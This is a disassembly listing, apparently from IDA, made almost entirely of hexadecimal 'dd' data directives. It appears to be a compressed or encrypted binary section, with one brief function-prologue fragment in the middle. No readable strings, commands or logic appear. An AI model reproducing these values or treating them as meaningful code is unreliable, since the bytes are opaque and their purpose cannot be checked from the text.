		dd 0D5402E5Dh, 698D48Bh, 747A4A1Ch, 0EC75C3Bh, 4B0C46F1h
		dd 103812B1h, 3C4957F0h, 0C206A83Eh, 58890251h,	306F4502h
		dd 81EBBFCFh, 693A25ACh, 7548B0C0h, 0C7AD0E06h,	9E8DCF51h
		dd 1D784531h, 6CB38AD4h, 0D52F5090h, 7B9C8A07h,	853168E2h
		dd 84421C90h, 8C8841E1h, 0B00C20h, 6AB6D82Dh, 745B1A3Dh
		dd 5305BC90h, 25959036h, 4E8DBC41h, 610387FEh, 92ABAED1h
		dd 20090418h, 2FDC8221h, 639783D4h, 5428161Dh, 70380851h
		dd 90002D93h, 95616FDBh, 652C0FD4h, 8603B92Ah, 90DC41A6h
		dd 1ECF53F4h, 0D424D805h, 30007B01h, 1438B749h,	0BD9F0506h
		dd 44334151h, 1F6AAAF0h, 40DC81Fh, 80201888h, 28B002F6h
		dd 84ECA04Fh, 79F8F852h, 4908E800h, 27852F06h, 0E6F18382h
		dd 55D896AEh, 0A06B0B0Bh, 8C606428h, 884C53C5h,	323E8E00h
		dd 0BCB5AA2Fh, 3739619h, 0AC21108Ch, 0A51E7432h, 0F730706Eh
		dd 614C881h, 7F847A59h,	7042D12Eh, 0A4B6046Fh, 0E057B0C2h
		dd 3EA890F0h, 0D41862BEh, 0B8712967h, 4341C3Ah,	0DE133C0Eh
		dd 6C857880h, 0C709259h, 71734E58h, 443F6DB9h, 0A6821E9Ah
		dd 0CC302E53h, 2602206h, 0E2F1C317h, 78685648h,	6F374E54h
		dd 0BC6A88ABh, 4C1FFA97h, 0A0F3990Ah, 89671204h, 606958D2h
		dd 807D5BB0h, 4C9C8EA7h, 87263680h, 0C91BC9A6h,	2C03F078h
		dd 93B1EE5Dh, 4F0C1189h, 0D4209021h, 69321727h,	599400EEh
		dd 5A85CA0h, 84DF7900h,	77B050CEh, 389665DDh, 4EAC885Dh
		dd 8D5A4912h, 1FF69823h, 576CA468h, 98601EF3h, 9D5C2036h
		dd 0AE9B3A02h, 697B2048h, 9C24BB84h, 0E0098639h, 6BA1EC8Ah
		dd 5726D19Ch, 1848D064h, 0C08B9384h, 20F7A3DFh,	0C20B9028h
		dd 400E8536h, 0EE66EAD7h, 76EE2855h, 51B53D94h,	0C43C2E2Ch
		dd 99172089h, 8025069Bh, 89B1FE5Bh, 0A3D8AD06h,	58115D38h
		dd 78468ECh, 0A4F6031Dh, 6C030ADh, 0D4DBA6D0h, 0B7F90900h
		dd 857EED1Eh, 0E5C81F9Ah, 8610B0ECh, 0F049784Eh, 0DA790684h
		dd 28E88B66h, 0EA0277Ch, 597F25A6h, 16984000h, 8103ECCFh
		dd 6A859D89h, 7C790397h, 52A0BAC3h, 8D55B8E0h, 1F4A910Fh
		dd 0BD3820BFh, 38BF657h, 0FDD4FA73h, 24A0BA2Fh,	0F4B90177h
		dd 19E78641h, 8211B038h, 23A30584h, 0C1812DF8h,	0B180E7B9h
		dd 0CBF5256Bh, 4DED0484h, 387DC24h, 0A95F94A0h,	28541D00h
		dd 84557B65h, 9359C0BFh, 6E96055Bh, 85398B0Eh, 0CE71383Fh
		dd 0E00D01A8h, 47EB8672h, 0C384F866h, 0C0215160h, 5B217BB5h
		dd 186EA89Bh, 4478942Ch, 18AB13B8h, 5B884047h, 3F140D01h
		dd 0D13D3501h, 51D7EE54h, 848442Ch, 0F6C09E3Fh,	9C00F248h
		dd 407E1C8Ch, 0F28B027h, 60CF69F4h, 0D2A71AC4h,	6C40E448h
		dd 853A26B8h, 3638E31Fh, 0F6A9F8D5h, 5100B258h,	7460B006h
		dd 30F050F9h, 26A27F21h, 8342A33h, 5E01B1FFh, 82DCA647h
		dd 93F90460h, 9B910448h, 5B9F8112h, 0BED3E84Bh,	5A263CB0h
		dd 1B0936ABh, 22880E4Fh, 0C845A5EFh, 32A37B8Ch,	34E0A9D3h
		dd 0AD17A844h, 28470967h, 181D3DA6h, 0B09BC0h, 71AD3C3Eh
		dd 19D87A30h, 0D22F78C4h, 4880C084h, 3CB6451h, 84E35BD6h
		dd 0A000B0B3h, 133DCC1Eh, 0EAD2FE4Fh, 0F42826D9h, 0CA5E136Ch
		dd 0F3858354h, 1910183Eh, 28FAE869h, 81257CA8h,	603C0B28h
		dd 0F0A66A1Eh, 0B7E76480h, 1F106626h, 892028B8h, 0F8801944h
		dd 0E4EAF652h, 41DB3700h, 6A1DF451h, 3C9C00FCh,	39D165D6h
		dd 0DC98968Fh, 14B8FF00h, 517D451Dh, 0C47F724Eh, 0C5F65B68h
		dd 0A3E837D8h, 100099BFh, 0E7F26DE2h, 1344D775h, 0C26AA3C6h
		dd 9482EEA0h, 4E04D06h,	0D4A0EBBEh, 780EB0F9h, 0D842A3CAh
		dd 99AE0128h, 0B1F0A82Ch, 0E12D0324h, 85D8C61Ah, 0F74D5FA6h
		dd 0A33925D8h, 0F0D53758h, 1C17F494h, 43A75DB1h, 5C3242B5h
		dd 5124E980h, 8098C16Eh, 93F2C292h, 0D6450088h,	8911FF87h
		dd 9D26CF7Ch, 44AAD43Bh, 101CE833h, 0B409D870h,	14BACFh
		dd 0A92BCAB7h, 51BC1F0Bh, 48D9FD00h, 0D077D896h, 0A33CBAB9h
		dd 156BC174h, 0FF27D880h, 1BA6916Ah, 3E374A40h,	0A9009489h
		dd 2A8EAFBCh, 0A6124814h, 0C202EEEh, 0B8DC224Bh, 0AE1A2068h
		dd 3DC0658h, 1851A717h,	84A00966h, 4A07331h, 99440FACh
		dd 7EF65F1Fh, 1C333864h, 25990BF3h, 0B418AA7Dh,	3C1CBEF6h
		dd 0DCC4671Ah, 3CC0DB65h
		dd 2EFAA094h, 88605B90h, 360F3B8Ah, 9E0BBEDCh, 0DF1C02E1h
		dd 0A3DCE3A7h, 24105DFFh, 6E201F4Bh, 21AC2624h,	84D826D4h
		dd 8D10E085h, 9F8C3470h, 66444B4h, 98F6A0C3h, 188941B2h
		dd 0B87393A6h, 0DE24859Ch, 68B08803h, 3D356512h, 4B4C56CFh
		dd 0B96BC044h, 69028CCh, 93559814h, 0BB59E066h,	0BA1F0190h
		dd 719A6A0Bh, 7CAD461h,	15AB3F69h, 54401462h, 0FAF80D94h
		dd 0BA6450Ch, 97E1987h,	0D76DB7ADh, 7EA34007h, 0CA7B0164h
		dd 481A10FCh, 0A407684Ch, 0C1E2699Ch, 40E12C40h, 493C0D08h
		dd 0D44CF400h, 0F1A6505Ah, 940B29Dh, 0CA9877F0h, 1F658801h
		dd 616E057h, 0E002C90h,	0FA3CE352h, 9E0C858Eh, 24402130h
		dd 30E4A8CCh, 70890922h, 0B51EBCD7h, 5A53A37Ah,	9C552888h
		dd 1D936E38h, 2ADDC5h, 0FDA35DA1h, 274971CEh, 6DF04194h
		dd 8BF8C214h, 8A3050A0h, 8C7AF0h, 373FA45Ch, 0F0A0958Ch
		dd 8802085Ah, 215F684h,	0A08A03F4h, 53A6127Eh, 9D90C104h
		dd 0CF8042F7h, 54923480h, 94000752h, 3D9CE5B1h,	65E177A7h
		dd 7F3206Ah, 0C3E07614h, 404FE8DFh, 0E5A5DC30h,	84D50C90h
		dd 2B80BF5Bh, 0CF891000h, 0B34ECDFFh, 0C2DF0F33h, 0BC61F3AAh
		dd 406680BBh, 4A0646C8h, 0B05B5Ch, 0CBCF837Bh, 11FB359h
		dd 645C8BC6h, 0EC84F66Eh, 0E600F2ACh, 0ADA1C32Fh, 2CA754C5h
		dd 0A4DC3485h, 192010D4h, 50F15F1Ah, 6086AC60h,	0A94BB0E2h
		dd 690E8283h, 739785A1h, 2A4E44DCh, 0B0C85728h,	0BB9C1DDCh
		dd 0B33400A8h, 39FBF243h, 0AE312817h, 0B2CE5000h, 3E0E8BDCh
		dd 179F8E3Eh, 0FD30165h, 0F2222B60h, 9CA83F63h,	6D0144E6h
		dd 1392FA2Fh, 44307188h, 5500E94Bh, 8C98E570h, 490BFE20h
		dd 445BF8ABh, 1C1E8E78h, 0F3D8D900h, 6FA18510h,	0FDE0C05Fh
		dd 8A895CCAh, 5E0035B0h, 0A4F0F66Ah, 7F077476h,	0F9512737h
		dd 0F0616804h, 5C41C78Ch, 73B74EECh, 54DCFC6Ah,	7F59ECEDh
		dd 5F750060h, 0B921E02Dh, 0A6152401h, 3C94B435h, 985940D9h
		dd 99F63FDCh, 3D80842Ch, 8098AE2Eh, 0DE3D260Dh,	85176CBFh
		dd 6890BC95h, 366AA8h, 0FD757680h, 1B2DCF5Ch, 4E4240BEh
		dd 59405823h, 974D410h,	13C39AF6h, 0DBC0A040h, 14C063Ch
		dd 462B6148h, 14D08AC6h, 40FC9849h, 8705EFAAh, 0A1F3DC16h
		dd 88E5A404h, 0D7CE38C0h, 93740589h, 0D08C7758h, 6522D070h
		dd 0F6764607h, 3BF030F3h, 1BF1F09h, 4852A4D2h, 9798E74Eh
		dd 990B76A9h, 6374209Ah, 0B9F9A817h, 0C81F89F4h, 36882C10h
		dd 837E3215h, 7B2300B4h, 3C82679Dh, 862400D1h, 0BA88AB0h
		dd 4D657285h, 1C815440h, 84039AC1h, 4CC503A2h, 19F3F005h
		dd 42611487h, 4878F654h, 6C18CCC9h, 83805933h, 4C0B00C9h
		dd 6AB6EABCh, 0A40E1F6Fh, 83A737B5h, 64FDE51h, 9A3D029h
		dd 98A04045h, 0F8831914h, 884D320Dh, 5C812349h,	0A0433AF8h
		dd 7F645A4h, 9C2FABF2h,	0D7B23026h, 8D0677ACh, 57FB4E8Ah
		dd 50908CA6h, 0A0089CF8h, 2E0BFA90h, 25E0B23Ah,	0E56414AFh
		dd 4148E0FEh, 0FB01E292h, 19AA55B7h, 5C24FA48h,	7014602Eh
		dd 9A3A84F4h, 0F851B0C0h, 175FA8Fh, 81BDA9DCh, 0F9994A0Eh
		dd 8A5424BCh, 0C1A15A02h, 0D3F28E74h, 6491290h,	1043461Ch
		dd 338BF701h, 5AEA427h,	2C5E47E0h, 221C15B1h, 6C6058D4h
		dd 601D4F17h, 6A54CE0Ch, 0C64D4Ch, 7DD16D02h, 3051C53Fh
		dd 5D386080h, 3D3B28AFh, 0D26E18DCh, 691D8ED0h,	2489EC27h
		dd 0F4831853h, 0A44E737Dh, 8415CACh, 901E7820h,	0A56CBB30h
		dd 38162464h, 0A0D49227h, 531258A2h, 0AB9000D5h, 61A65FBFh
		dd 54000D49h, 2B405C08h, 48E3398Eh, 0D52D2C80h,	0E515C96Fh
		dd 1028545Ch, 471E6041h, 4F48560Eh, 0B18984C4h,	1D045872h
		dd 0F6A0D146h, 0B73C44B7h, 6C556A8Ch, 0E07D128h, 0D476444Eh
		dd 816A385h, 0B46F9C02h, 7BA40077h, 45F8782Dh, 39D5500h
		dd 0D7F6582Ch, 0A6F0C373h, 0B87A9AA7h, 31449496h, 2A3D9C80h
		dd 46882869h, 558520F4h, 639EE3Ch, 8B368025h, 5D7F7Eh
		dd 986BF51Fh, 0C68326B8h, 4C5FA375h, 20E4F824h,	0A12C92E5h
		dd 43C2F3E0h, 9371A95Ch, 9A7ECFFCh, 0AFAE079Ch,	0DB1976F1h
		dd 0EF7BC82h, 2509C4E6h, 727B877Eh, 338517ECh, 0E01C89B1h
		dd 0A488BC6Ch, 0B08E07C8h, 0A5DBF1ADh, 0E2A4F055h, 446F5118h
		dd 4B6A2F70h, 3020138Ah, 7488F6FCh, 97174390h, 0D010BA9Fh
		dd 79191208h, 8428D0D6h, 90432C9Ch, 15B3C29h, 0EE5AFB98h
		dd 0B0312A8Fh, 5823EFF6h, 5613D848h, 60FCCD0Dh,	0B24A6A4h
		dd 0A00038E3h, 93537652h, 79772637h, 26B58024h,	0BB85E449h
		dd 6E76E90Fh, 5D01DF7Dh, 8C14FF4Dh, 0F2DB5FE8h,	38A80060h
		dd 205A4765h, 240379A0h, 2D4D6821h, 287C4Eh, 0C2DCC91Eh
		dd 8478CF01h, 9A799C0Fh, 0B8C88E58h, 7758C58h, 0C20C76EAh
		dd 8AD88CACh, 9FBB1506h, 75508926h, 0CF828070h,	5D1FB40Eh
		dd 0B014A044h, 304D57D9h, 2A2003CEh, 0EF036891h, 0F6A53150h
		dd 0ED601E4Bh, 17D13B0h, 9A8030F2h, 3B58863Ch, 40102EDBh
		dd 0A561853Eh, 9C876D38h, 0C7850B8h, 255D4D88h,	78704410h
		dd 206F9279h, 0A27B01C0h, 0C9804F99h, 380B46E3h, 0FEF81EACh
		dd 8648CB13h, 0A5478203h, 30289E05h, 760850FFh,	901EE02Ch
		dd 56806A85h, 573E7C33h, 0E2B7CF4h, 0FA8C99F0h,	780A3F4Fh
		dd 82020508h, 76A0734Dh, 4B48A3C0h, 0F90E4403h,	0C87D8885h
		dd 68B300Bh, 69A75B9Fh,	8D273076h, 8503E040h, 0CD2E1DF1h
		dd 0B1E90788h, 83000E46h, 0FF5004E8h, 9E24743Ah, 0DC3A8F58h
		dd 61086E76h, 0DBBE9E0h, 0D7092E87h, 611B835Ah,	8268100Dh
		dd 0B4E80A6Ah, 0C4818003h, 0E0C20441h, 0E87406Dh, 58C12133h
		dd 8306E940h, 893304ECh, 0D1E7603Ch, 0F0064DCh,	0E15E2F8Dh
		dd 0EA0E22ECh, 4FC377FEh, 7810D089h, 58030ED7h,	83241C8Bh
		db 0Fh,	6Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
; ---------------------------------------------------------------------------
		db 0FEh, 58h, 0EBh
		dd 668503Ah, 5C360556h,	520D7B58h, 3E69DFE9h, 298BCDE4h
		dd 3B56240Ch, 4162C51Ch, 0CCE95BE8h, 2D4C81D6h,	54657F79h
		dd 522434DCh, 0B011A5Eh, 23850FC0h, 5010801Ch, 93BA5256h
		dd 43610053h, 8108E2C1h, 0C626CCC2h, 0D614BD25h, 759231A0h
		dd 0E07122EEh, 32F19694h, 79A01A4h, 9B13CF68h, 43FA8910h
		dd 5829032Ah, 54500F1Bh, 0ADBF5721h, 0E913F815h, 839FA554h
		dd 8704EA0Ah, 6861F414h, 1FA252E5h, 0E9FCFDCFh,	776367E0h
		dd 0F54072EFh, 14FF8B8Fh, 573E3605h, 0C489998h,	50C58B66h
		dd 1006EC81h, 314C2C89h, 0D8138780h, 24B7BA5Bh,	1422B168h
		dd 0C608E682h, 1806C8CCh, 515C2287h, 0F9B4500Ah, 660DFC88h
		dd 0EA0397DAh, 1800F83h, 0B3C18159h, 0D4D3C6F0h, 51C0A213h
		dd 272ADEBh, 5CCBEC04h,	47308557h, 0E249A418h, 0B9511B00h
		dd 6C1D45C9h, 4CCB6031h, 38561FC3h, 0DE018E12h,	0DE204015h
		dd 0D4F0F0DEh, 40D0E955h, 9000B8ABh, 48449F2Ah,	432500Dh
		dd 6CE9395Ch, 19361403h, 8B0C58C7h, 0C059BA45h,	5424660Dh
		dd 342135E9h, 736F86BFh, 0E2A089FEh, 801C2FB6h,	0F31DA8EBh
		dd 387FC35Dh, 0E7A8755Ah, 7F639EE9h, 0C151FEA7h, 9A43EABAh
		dd 0DEF3F787h, 570E1FE8h, 9A858C54h, 0A9FC5D2Ch, 5C0C6C65h
		dd 7C768110h, 0D3FB3A24h, 0F4AF181h, 22806C5Bh,	5532ECDh
		dd 0E912CB29h, 114E8FA6h, 83DDE650h, 2A5A600Eh,	1B6019BCh
		dd 0A7A8897Ch, 9741B6E9h, 985EAA41h, 0CFE14003h, 4400238Ch
		dd 0E009D38Eh, 0FC30158h, 24608840h, 0C8E4031Bh, 0E8141F24h
		dd 10660E95h, 580717A3h, 0F553C229h, 0F7D34450h, 94B383DDh
		dd 0C28E7F0Ch, 6FF3EB61h, 35525B5Fh, 806F644Ah,	7FC6BF64h
		dd 0E9453406h, 0FBAFA698h, 0D5FAEC09h, 0EAA999A3h, 0F0A82D3h
		dd 0A033918Fh, 0F95CBF91h, 1EC094Ch, 3A005FFDh,	455B0EEBh
		dd 31E9333Fh, 8BB62A82h, 0CC09D9DCh, 9C5ED20Eh,	0AFAAE5F2h
		dd 69CEFC8Ah, 0D087F024h, 0A4A7E9EAh, 0B850109Ah, 1601BCF3h
		dd 0A6519D2Dh, 0F730D128h, 573F4138h, 1B4E83D1h, 2412114Dh
		dd 68043B8Bh, 49CC7F2Bh, 64A449E9h, 6214BD24h, 0C090712Eh
		dd 41820C0Eh, 55804CE5h, 0EF4E58B8h, 190FBA0Ah,	0E6F6D922h
		dd 481E3153h, 2038164h,	26D06857h, 4591E155h, 4CBE33D2h
		dd 8B599A09h, 56CC383Ch, 7DCA6BEh, 0AA0160C7h, 85F73738h
		dd 5E080CEFh, 15A80252h, 24055C63h, 0ED52E91Ah,	0F488D906h
		dd 0DECF34BEh, 2C968810h, 6CDA83h, 5E6C146h, 2CF6F74Ch
		dd 0F6406870h, 60AD57C4h, 42CF5E13h, 44A227D7h,	1E5E0806h
		dd 37F2730Fh, 0D5F8EC4Bh, 0DD618283h, 0FE5E051Dh, 61DA940Ch
		dd 0A790AC5h, 10BC0C60h, 83265411h, 336602FCh, 0C30631A8h
		dd 2317E90Dh, 9D5F2824h, 0D328D501h, 41DA010Eh,	5A84F932h
		dd 91042966h, 9DD28C33h, 12925814h, 66556940h, 0E93B8DBDh
		dd 5876F420h, 3F816F37h, 0ECFC27F9h, 0B6929634h, 1520D977h
		dd 0B830C432h, 77FF0036h, 3A669D1Ch, 73E4D259h,	9BB65053h
		dd 0D788D08Ah, 0D3734968h, 7C7AFD49h, 0EEE858FDh, 32045BB3h
		dd 0A80FE9C3h, 0C0B6091Dh, 81062509h, 5C5C6521h, 4668827Fh
		dd 0F14BC651h, 0E90E48C2h, 2EEE6997h, 30DA0333h, 6852EB48h
		dd 17674531h, 8C668C0Ah, 985D3179h, 90F53095h, 800FFA38h
		dd 0F00972ECh, 0C87F422h, 0D22A1F64h, 0CC20873Ch, 0DE890ED1h
		dd 8160F75Bh, 0AA598FCEh, 30DE4648h, 58E69305h,	0D8C53680h
		dd 0F5785406h, 0E926ED75h, 29806A31h, 0E2815DEAh, 0CE371872h
		dd 7A360C01h, 74A3E3Eh,	82004F2h, 0E9D5A10Fh, 38966671h
		dd 0CF22C8Fh, 82014580h, 15F76840h, 0A670163Dh,	569DADF6h
		dd 3341148Ch, 5D01FAD1h, 0EF00732Eh, 0CBBB5306h, 51480D73h
		dd 338060C7h, 6909E974h, 421AF8DDh, 89521081h, 45CD37E2h
		dd 61716206h, 0F41DE9AFh, 3D684286h, 7190853Ch,	9E297A98h
		dd 0BD82F794h, 0C0AF0DABh, 885C2A2Dh, 13247FC1h, 940DB030h
		dd 67434CEFh, 4A79F20Fh, 4D7C121h, 0B2FE8BE4h, 0C3C6077Eh
		dd 0B14751B9h, 8149D088h, 0CFBEEF4Fh, 9640E6AAh, 477822h
		dd 4B41B803h, 0F8315918h, 1AE95F16h, 20686D43h,	24A52E58h
		dd 6F544E74h, 7FF1F310h, 8A56E739h, 8CC681E6h, 3432EE64h
		dd 0B481FDE6h, 55BE4310h, 0EA07BE2Ch, 437A2D03h, 0E3F6017Bh
		dd 53841623h, 0FAEB6089h, 42B54C41h, 263288A4h,	0A2F75240h
		dd 20EA64BCh, 314D19F0h, 57CF54D2h, 7513A8D2h, 11685537h
		dd 0A567173Ch, 0B5C08B35h, 9982BB84h, 887BB416h, 95647185h
		dd 3481591Ch, 680285E0h, 0A9863189h, 0A40B8444h, 1016AD07h
		dd 5442E91Ch, 71ED947Dh, 0A1680F37h, 11ADE889h,	0FC4E4057h
		dd 75BAD23Dh, 0E112F709h, 8F20406h, 14EE580Ch, 0CB513381h
		dd 10AC9D5Ah, 162013CBh, 7ED51DAFh, 0A848826h, 0C8EA912Dh
		dd 539288A5h, 3E87BE00h, 16891C38h, 23348BF3h, 46C68104h
		dd 13A1D0Dh, 83754ADFh,	168BC03h, 5B6C2A82h, 6006EBC1h
		dd 0F2840184h, 0C30E06FBh, 0D0F32925h, 0E95E0880h, 0F4059B4Ah
		dd 14918B54h, 3B9D4195h, 94A741C6h, 0F4F789F3h,	8AB96DECh
		dd 0B903F268h, 98696334h, 0B18651E9h, 0F6ED0034h, 17BC43Dh
		dd 3945DD5Ch, 78968179h, 4E0C148h, 1003E8CCh, 282369E9h
		dd 0D030AE66h, 2EC56B4Fh, 6905125Eh, 4835CA5Ah,	6BDD912h
		dd 2FEF992h, 77508922h,	40D8F602h, 805B372Ah, 0E930B224h
		dd 0D3F72F13h, 7BBA0352h, 31DE9FABh, 87DD4C5h, 0C1804E87h
		dd 6838AE26h, 8E0F0A41h, 1D9DD0FBh, 2D8CC549h, 9FFAD1D4h
		dd 39813271h, 0D54C0C3h, 6BCA685Dh, 0B81942BDh,	0C52C6AE6h
		dd 433EDD58h, 3962E086h, 3968E60Ah, 1A402376h, 390D8522h
		dd 884D0F7h, 0C1341910h, 82883755h, 18FD2D2Ah, 45F883C8h
		dd 0B414285Dh, 0F20438B5h, 531DF83Bh, 0E80FBCB3h, 51C4D828h
		dd 708A81B1h, 0C28164DBh, 547CEB0Fh, 6EBA654Dh,	60E97B97h
		dd 134C880Fh, 0A590187h, 42812EA4h, 0BA009CEAh,	7A98721Dh
		dd 3A844977h, 0B7F2D02h, 0A18F2C81h, 0FA551C6Ch, 5174B96h
		dd 370CD220h, 0D3D75089h, 2613041Eh, 55D6292Ah,	2AE4894h
		dd 59817567h, 6EE5E197h, 24D3533Dh, 138586FAh, 0CDE920C1h
		dd 0C544647Ah, 681B55C2h, 0FC4EB4F1h, 0C3885D73h, 9E8CC84h
		dd 5B3B115Fh, 0E229C825h, 0F653444Eh, 816A9050h, 437A88E6h
		dd 6B749A49h, 178A03B5h, 0C3E62D8h, 0C708E5ADh,	97F1A520h
		dd 691C9D8Bh, 6B44CD96h, 8C1E71BBh, 3314D990h, 0D9F50C4Ch
		dd 3B396FFEh, 0BFC08138h, 0FA9B3991h, 5D0FFC18h, 0C105D004h
		dd 202FF78Eh, 1E969B8Dh, 0E71C928Eh, 0FFB12D76h, 0C3407557h
		dd 0B9969C0h, 4BEEE96Eh, 0F40204A9h, 110BD55h, 835D39EFh
		dd 16D2F7CCh, 282918h, 3DB551ACh, 0F8EA8831h, 2D00D662h
		dd 7E056DC8h, 5E8294Dh,	5E1E0713h, 5541AFECh, 6135663Ah
		dd 0FE590776h, 8734FF0Ch, 1870F59Ah, 0DA682A09h, 12696438h
		dd 588CE951h, 0C8FDEF5h, 104F307h, 72E45AD3h, 0ED6211A1h
		dd 7F95F519h, 840C28C1h, 5317F66Ah, 6FCE3E01h, 88D2B1BEh
		dd 684851EEh, 14919386h, 0C7329688h, 9EDEC99Eh,	0E2C03024h
		dd 0C1660407h, 378407E6h, 0EA807A97h, 59DAF708h, 0FF36E352h
		dd 3520EE2Ch, 0F1310586h, 4CE295Eh, 18ECEECAh, 201693D0h
		dd 0C5186F7Bh, 0F6924A08h, 0A64D992Ah, 0FAA92289h, 0B65625Eh
		dd 624BCC61h, 5A201038h
		dd 835A6D31h, 21280706h, 51150CD0h, 90B8E189h, 0A10B9706h
		dd 0E11E915Ch, 502810DAh, 68E95509h, 99E3C454h,	225F171Dh
		dd 3158E4ABh, 1C87B907h, 0A02A6051h, 0E905ADA4h, 5DB4809Ch
		dd 530E4AEEh, 0D05F1C66h, 5C32507Dh, 763380Bh, 0A55F0045h
		dd 2F89CC7h, 0E95DEA89h, 4B656A7Bh, 8D62BC28h, 49CB20Bh
		dd 53D8029h, 0EF773531h, 2DD80114h, 895B0107h, 7FD4E9C2h
		dd 81D2E568h, 2822E660h, 207EA61Fh, 5074D0Fh, 61423A8Ch
		dd 493B22A2h, 1730D8D7h, 5203E769h, 7F7077F2h, 0E6D1661Fh
		dd 0A9440E8Ch, 0F2464C9Bh, 0E68A1685h, 0C7E9C231h, 0B9FC5B9Eh
		dd 0C114D312h, 3CB5676h, 0DB0DF02Dh, 0C801144Bh, 0F8500705h
		dd 25B0B2E2h, 742033EFh, 1267C5A2h, 0D8F5893Eh,	0C1334A4Fh
		dd 0A4B2C756h, 2727984h, 50616859h, 2C943D66h, 685753E0h
		dd 0DB6513ADh, 833CA6Ah, 242DF3E9h, 80C2005Ah, 0EDC0F2CDh
		dd 0CF34067Eh, 0A2F39E8Eh, 33260642h, 6311B38h,	685C0D05h
		dd 6BCD5098h, 4F220E74h, 1BB312Ah, 0B068001Eh, 66A4B64Ah
		dd 169A7ADDh, 0A04EE280h, 6641A994h, 0EC39B30Fh, 21CA417Dh
		dd 9A58A53Dh, 23E5E8B7h, 805A806Ah, 0A57AC33Ch,	0BB6780DDh
		dd 4E5C4D3Ah, 404C1772h, 223FF0B4h, 0D67E92Dh, 0BF0B8CDh
		dd 28090635h, 93AA58C3h, 50B81710h, 9C1A9B03h, 0E145B016h
		dd 0F6FE018Bh, 754A03EFh, 0E485F7Eh, 0EA338A86h, 2406311Bh
		dd 138B5C0Dh, 0EB39D126h, 3CB90175h, 72001C33h,	11B4743h
		dd 9749E9F9h, 555B128Bh, 970C5E25h, 31513390h, 0D94E5954h
		dd 90790713h, 8028F7C3h, 7D1ED5BEh, 19967F23h, 0E6C0F9C1h
		dd 1B141138h, 83C096Bh,	0C5BD8593h, 66B480B9h, 0F827685Eh
		dd 0A3B01913h, 3C5B2D3Ch, 924DE991h, 0AB82AC9h,	0A120D31h
		dd 0F1C8DE88h, 5060BC5Ah, 0D00ED1F6h, 0C7D986E1h, 4C4E30D3h
		dd 398008CBh, 0BB2E9FE9h, 3D77A4ECh, 0D496D72Fh, 2F4DB139h
		dd 12641A97h, 9657F234h, 2C505101h, 84AA4DD6h, 0C5400677h
		dd 0CDEDBE99h, 0C19CF790h, 93EA8007h, 0DFE04D84h, 58C13C29h
		dd 0B4579670h, 57843246h, 5C0FCF50h, 335EF501h,	7088A617h
		dd 7C4BAE2h, 0BA1AC2B9h, 74ABA23Dh, 0F6F4F164h,	56F8E6B4h
		dd 13D17288h, 5A59CBh, 25C6806Ah, 7AB609E9h, 5F075F3Dh
		dd 65B4E128h, 1E2C54E0h, 0DD9804EAh, 247DBAE8h,	88ED5E10h
		dd 0A66F5A29h, 3B88E3CCh, 5AF31EB3h, 81AD4F70h,	9C3848E1h
		dd 0A5D1E114h, 0A5FB2F10h, 22DD4D32h, 115EAFDh,	3E4F2E81h
		dd 280C800Eh, 899BEB7Ah, 53BCC8CEh, 0FED95017h,	0BD363236h
		dd 0F417604Bh, 11053538h, 0C6300CF0h, 7CEE5B53h, 960DFE22h
		dd 0EDC94B74h, 174932FEh, 9C65C857h, 0CA82A0C5h, 0B46F50ABh
		dd 9B118889h, 1DFB6E31h, 2D68F710h, 1303502h, 44525FFAh
		dd 415A58E3h, 0E46A2785h, 5D74F912h, 0CE815900h, 67251F49h
		dd 0A9DE48F7h, 0ADAE004Ah, 5768D831h, 841F68E3h, 0E2E120E9h
		dd 307A1423h, 0DF257AA7h, 6E94515Bh, 0BB00BECAh, 67304B94h
		dd 18785FE9h, 0DEBAA6C7h, 0F8E0B17h, 9C51C40Ch,	5C55EEAAh
		dd 330D84Bh, 0BF1A06A2h, 1B24704Ch, 0FFF53D92h,	607C6702h
		dd 0D2B884EEh, 0C38E0371h, 80DD164Eh, 0F11BDC90h, 2EE92F09h
		dd 4C255287h, 9E106FEBh, 7E680A69h, 82405776h, 2A0CC167h
		dd 94B293E9h, 0D668896Dh, 5599DB46h, 0C0A5E08h,	237ACCFEh
		dd 5DBE649h, 0E288DAF4h, 0E30131F4h, 0CF315E00h, 0F853E0B6h
		dd 4BDFE9FDh, 68D82035h, 379E6FD2h, 78636A6Ah, 0F0392815h
		dd 107707A0h, 89290AF6h, 80F7FB02h, 8C02145Ah, 8B3CAF2Eh
		dd 4E4C3A04h, 19C2E6BCh, 0D7F700F8h, 83DE7C1h, 2F87B04Fh
		dd 26B49B05h, 3548597Bh, 579C4959h, 0F824B766h,	9AC6C55Fh
		dd 8B899B7h, 310B18BBh,	30602F3h, 2CC99B69h, 4A49E993h
		dd 71060B7Fh, 0D17F88C6h, 0B6AD3A68h, 171543h, 5550E125h
		dd 6A63DBBDh, 0CD816900h, 36A7165Ah, 0EF0EC045h, 0F5BFB3Fh
		dd 0E9C98019h, 8EDC4D46h, 4ACF5FD4h, 39A7063Bh,	0E8E95706h
		dd 809019F0h, 6E431017h, 52857501h, 5730354Ah, 4E5A8288h
		dd 0A6F1F73Dh, 96A40708h, 0B4C15417h, 0FF22E528h, 79656809h
		dd 0C24B1373h, 65105471h, 0DE05F230h, 8852C3C0h, 4ABB53C2h
		dd 0A0128828h, 5EA60E0Bh, 62B54A01h, 4214AF34h,	54585FFBh
		dd 0CB496F11h, 0FB62F40Bh, 0DB939963h, 81E4D1C9h, 880F4012h
		dd 0EF5160BFh, 5A03785Bh, 4C0803Fh, 59CF01E8h, 0D3082E99h
		dd 513A48D9h, 82166A82h, 0A57922E1h, 597C147Fh,	7886F850h
		dd 0F89484FCh, 0E3B252C0h, 0D4C20580h, 0D865C568h, 2F40742Dh
		dd 0ACE4A152h, 1CC1F834h, 0C38105E3h, 172F1B34h, 9DC0124Ah
		dd 5CB43B80h, 2D20AE77h, 0A84B295Bh, 0C615AF76h, 1C0AC573h
		dd 8352F6BDh, 0C1E5D16Bh, 0ED9B0593h, 0F489E29Ch, 79F83690h
		dd 59DB28F5h, 6D2B03C7h, 0CD292F42h, 499906CEh,	1420A22Ah
		dd 685C091Dh, 45C66C39h, 0F383E231h, 59E169B2h,	0C9811180h
		dd 64EC7735h, 0A3820F09h, 97672D4h, 76EEFB75h, 126EC744h
		dd 90ADCF61h, 8753661Ch, 0B34636BBh, 1607301Eh,	0C1FE21B1h
		dd 71FBFC92h, 0A19C2277h, 70E45D5Ch, 0A1E2A82Ah, 0E1C1A86Dh
		dd 1579002h, 0C51B3F1Ch, 205BD931h, 0EE4FE91Eh,	60C4FF12h
